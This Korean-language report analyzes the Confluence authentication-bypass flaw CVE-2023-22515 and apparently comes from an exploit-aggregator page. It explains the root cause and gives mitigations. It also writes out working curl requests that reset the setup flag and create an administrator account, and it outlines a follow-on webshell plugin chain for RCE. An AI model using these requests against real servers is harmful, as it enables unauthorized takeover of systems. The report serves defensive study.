Share
## https://sploitus.com/exploit?id=D79FBD5D-BAFA-5B56-8FE4-EB6AFF2B9CDC
# CVE-2023-22515: Confluence Data Center & Server ๊ถŒํ•œ ์ƒ์Šน ์ทจ์•ฝ์  ๋ถ„์„ ๋ณด๊ณ ์„œ

## 1. ๊ฐœ์š” (Overview)
CVE-2023-22515๋Š” Atlassian Confluence Data Center ๋ฐ Server ์ œํ’ˆ์—์„œ ๋ฐœ๊ฒฌ๋œ ์น˜๋ช…์ ์ธ(Critical) **Broken Access Control** ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ ์›๊ฒฉ์œผ๋กœ ์„œ๋ฒ„์˜ ์ดˆ๊ธฐ ์„ค์ • ๊ณผ์ •์„ ์žฌํ™œ์„ฑํ™”ํ•˜๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์ƒˆ๋กœ์šด ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ์ƒ์„ฑํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์™„์ „ํžˆ ์žฅ์•…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

- **CVE ID**: CVE-2023-22515
- **CVSS Score**: 10.0 (Critical)
- **์˜ํ–ฅ๋ฐ›๋Š” ๋ฒ„์ „**: 8.0.0 ~ 8.5.1 (์ผ๋ถ€ ๋ฒ„์ „ ์ œ์™ธ)

## 2. ์ทจ์•ฝ์  ์ƒ์„ธ ๋ถ„์„ (Vulnerability Analysis)

### ์›์ธ (Root Cause)
์ด ์ทจ์•ฝ์ ์˜ ํ•ต์‹ฌ์€ **XWork2 ํ”„๋ ˆ์ž„์›Œํฌ**์˜ ํŒŒ๋ผ๋ฏธํ„ฐ ๋ฐ”์ธ๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜๊ณผ Confluence์˜ **์•ก์…˜(Action)** ์ฒ˜๋ฆฌ ๋กœ์ง ๊ฐ„์˜ ๋ฏธํกํ•œ ๊ฒ€์ฆ์— ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด `bootstrapStatusProvider.applicationConfig.setupComplete` ๊ฐ’์„ `false`๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ Confluence๊ฐ€ ์„ค์น˜ ๋ฐ ์„ค์ •์ด ์™„๋ฃŒ๋˜์—ˆ๋Š”์ง€๋ฅผ ํŒ๋‹จํ•˜๋Š” ์ค‘์š”ํ•œ ํ”Œ๋ž˜๊ทธ์ž…๋‹ˆ๋‹ค.

```http
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: 
```

์œ„ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ์„œ๋ฒ„๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ƒ์—์„œ ์„ค์ •์ด ์™„๋ฃŒ๋˜์ง€ ์•Š์€ ์ƒํƒœ๋ผ๊ณ  ์ธ์‹ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์˜๊ตฌ์ ์ธ ์„ค์ • ํŒŒ์ผ(`confluence.cfg.xml`)์„ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹ˆ์ง€๋งŒ, ๋Ÿฐํƒ€์ž„ ์ค‘์— ์ƒํƒœ๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

### ๊ณต๊ฒฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜ (Attack Mechanism)
1.  **์„ค์ • ์ƒํƒœ ์ดˆ๊ธฐํ™”**: ๊ณต๊ฒฉ์ž๋Š” `/server-info.action` ๋“ฑ์˜ ๊ณต๊ฐœ๋œ ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•˜๋ฉด์„œ `bootstrapStatusProvider.applicationConfig.setupComplete=false` ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
2.  **์ ‘๊ทผ ์ œ์–ด ์šฐํšŒ**: ์„œ๋ฒ„๋Š” ์ด์ œ ์ž์‹ ์„ "์„ค์น˜ ์ค‘"์ธ ์ƒํƒœ๋กœ ์ธ์‹ํ•˜๋ฏ€๋กœ, `/setup/*` ํ•˜์œ„์˜ ๊ด€๋ฆฌ์ž ์„ค์ • ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์ ‘๊ทผ ์ œํ•œ์ด ํ•ด์ œ๋ฉ๋‹ˆ๋‹ค.
3.  **๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ**: ๊ณต๊ฒฉ์ž๋Š” `/setup/setupadministrator.action` ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜์—ฌ ์ƒˆ๋กœ์šด ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž(System Administrator) ๊ณ„์ •์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
4.  **์‹œ์Šคํ…œ ์žฅ์•…**: ์ƒ์„ฑ๋œ ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ ์‹œ์Šคํ…œ์˜ ๋ชจ๋“  ๊ถŒํ•œ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์›น ์‰˜ ์—…๋กœ๋“œ, ๋ฐ์ดํ„ฐ ์œ ์ถœ, ๋žœ์„ฌ์›จ์–ด ๋ฐฐํฌ ๋“ฑ์˜ ์ถ”๊ฐ€์ ์ธ ์•…์„ฑ ํ–‰์œ„๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

## 3. ์ทจ์•ฝ์  ์žฌํ˜„ (Reproduction)

### ํ™˜๊ฒฝ ๊ตฌ์ถ• (Environment Setup)
Docker๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ทจ์•ฝํ•œ ๋ฒ„์ „(8.5.1)์˜ Confluence Server๋ฅผ ๊ตฌ์ถ•ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

- **Docker Image**: `atlassian/confluence-server:8.5.1`
- **Database**: PostgreSQL 14

**docker-compose.yml (์š”์•ฝ)**:
```yaml
services:
  confluence:
    image: atlassian/confluence-server:8.5.1
    ports:
      - "8090:8090"
    environment:
      - ATL_DB_TYPE=postgresql
      # ... DB ์„ค์ • ...
```

### Exploit ์‹คํ–‰ (Exploitation)
Python ์˜์กด์„ฑ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด `curl`์„ ์ด์šฉํ•œ Bash ์Šคํฌ๋ฆฝํŠธ๋กœ PoC๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์‹คํ–‰ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

**Exploit Flow**:
1.  **Reset Setup Status**:
    ```bash
    curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
    ```
    *๊ฒฐ๊ณผ*: HTTP 302 ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋˜๋ฉฐ, ๋‚ด๋ถ€์ ์œผ๋กœ ์„ค์ • ์™„๋ฃŒ ์ƒํƒœ๊ฐ€ ํ•ด์ œ๋จ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค.

2.  **Create Administrator**:
    ```bash
    curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
      -H "X-Atlassian-Token: no-check" \
      --data "username=hacked_admin&password=p@ssw0rd123&..."
    ```
    *๊ฒฐ๊ณผ*: ํ•ด๋‹น ์š”์ฒญ์„ ํ†ตํ•ด `hacked_admin` ๊ณ„์ • ์ƒ์„ฑ์„ ์‹œ๋„ํ•˜์˜€์œผ๋ฉฐ, ์ดํ›„ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์—์„œ ํ•ด๋‹น ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

## 4. ๋Œ€์‘ ๋ฐฉ์•ˆ (Mitigation)

### ํŒจ์น˜ ์ ์šฉ (Patch)
Atlassian์—์„œ ์ œ๊ณตํ•˜๋Š” ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์ฆ‰์‹œ ์—…๊ทธ๋ ˆ์ด๋“œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
- **Fixed Versions**: 8.3.3, 8.4.3, 8.5.2 ์ด์ƒ

### ์ž„์‹œ ์™„ํ™” ์กฐ์น˜ (Workaround)
ํŒจ์น˜๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ, `/setup/*` ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๋„คํŠธ์›Œํฌ ์ˆ˜์ค€(๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ, WAF, ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ ๋“ฑ)์—์„œ ์ฐจ๋‹จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

- **์ฐจ๋‹จ ๋Œ€์ƒ URL**: `/setup/*`

## 6. ์‹ฌํ™” ๊ณต๊ฒฉ: RCE (Remote Code Execution) ์‹œ๋‚˜๋ฆฌ์˜ค

CVE-2023-22515๋ฅผ ํ†ตํ•ด ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํš๋“ํ•œ ๊ณต๊ฒฉ์ž๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰(RCE)ํ•˜๋Š” ๋‹จ๊ณ„๋กœ ๋‚˜์•„๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

### ๊ฐœ์š”
Confluence๋Š” ๊ด€๋ฆฌ์ž์—๊ฒŒ ํ”Œ๋Ÿฌ๊ทธ์ธ(Add-on) ์„ค์น˜ ๊ถŒํ•œ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์›น ์‰˜(Web Shell) ๊ธฐ๋Šฅ์ด ํฌํ•จ๋œ ์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์—…๋กœ๋“œํ•จ์œผ๋กœ์จ ์„œ๋ฒ„ ์šด์˜์ฒด์ œ์— ๋Œ€ํ•œ ์ œ์–ด๊ถŒ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

### ๊ณต๊ฒฉ ์ฒด์ธ (Attack Chain)
1.  **๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ (CVE-2023-22515)**: ์•ž์„œ ์„ค๋ช…ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ ํš๋“
2.  **์„ค์ • ์™„๋ฃŒ ํŠธ๋ฆญ**: ์„œ๋ฒ„๊ฐ€ 'Setup Mode'์— ๋ฌถ์—ฌ ์žˆ๋Š” ๊ฒฝ์šฐ, `/setup/finishsetup.action` ๋“ฑ์„ ํ†ตํ•ด ๊ฐ•์ œ๋กœ ์„ค์ •์„ ์™„๋ฃŒํ•˜๊ฑฐ๋‚˜(๋ผ์ด์„ ์Šค ์šฐํšŒ ํ•„์š”), ๊ธฐ์กด ์„ธ์…˜์„ ์ด์šฉํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ด€๋ฆฌ์ž ๋ฉ”๋‰ด๋ฅผ ํƒ์ƒ‰
3.  **์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ ์—…๋กœ๋“œ**:
    - ๋ฉ”๋‰ด: `Confluence Administration` -> `Manage Apps` -> `Upload App`
    - ํŒŒ์ผ: ์•…์„ฑ Java ํด๋ž˜์Šค ํŒŒ์ผ์ด ํฌํ•จ๋œ `.jar` ํŒŒ์ผ
4.  **๋ช…๋ น ์‹คํ–‰**:
    - ์—…๋กœ๋“œ๋œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์ œ๊ณตํ•˜๋Š” URL(์˜ˆ: `/plugins/servlet/webshell?cmd=id`)์— ์ ‘๊ทผํ•˜์—ฌ ์‹œ์Šคํ…œ ๋ช…๋ น ์‹คํ–‰

### ํ˜„์žฌ ์žฌํ˜„ ํ™˜๊ฒฝ์˜ ํ•œ๊ณ„
๋ณธ ์‹ค์Šต ํ™˜๊ฒฝ(Docker)์€ ์œ ํšจํ•œ Confluence ๋ผ์ด์„ ์Šค๊ฐ€ ์—†์–ด ์ดˆ๊ธฐ ์„ค์ •(Setup) ๋‹จ๊ณ„๋ฅผ ์™„๋ฃŒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ ์š”์ฒญ์€ ์„ฑ๊ณต(302 Redirect)ํ–ˆ์œผ๋‚˜, ์ดํ›„ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฉ”๋‰ด ์ ‘๊ทผ ๋ฐ ์‹ค์ œ RCE ์‹คํ–‰์€ ์ œํ•œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์‹ค์ œ ์šด์˜ ํ™˜๊ฒฝ์—์„œ๋Š” ๋ผ์ด์„ ์Šค๊ฐ€ ๋“ฑ๋ก๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์ด๋Ÿฌํ•œ ์ œํ•œ ์—†์ด ์ฆ‰์‹œ RCE๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

## 7. ๊ฒฐ๋ก  (Conclusion)
CVE-2023-22515๋Š” ์ธ์ฆ ์—†์ด ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋งค์šฐ ์œ„ํ—˜ํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ URL ํŒŒ๋ผ๋ฏธํ„ฐ ์กฐ์ž‘๋งŒ์œผ๋กœ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜์—ฌ ๊ณต๊ฒฉ ๋‚œ์ด๋„๊ฐ€ ๋งค์šฐ ๋‚ฎ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๋Š” ์กฐ์ง์€ ์ฆ‰๊ฐ์ ์ธ ํŒจ์น˜ ๋˜๋Š” ์™„ํ™” ์กฐ์น˜๋ฅผ ์ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.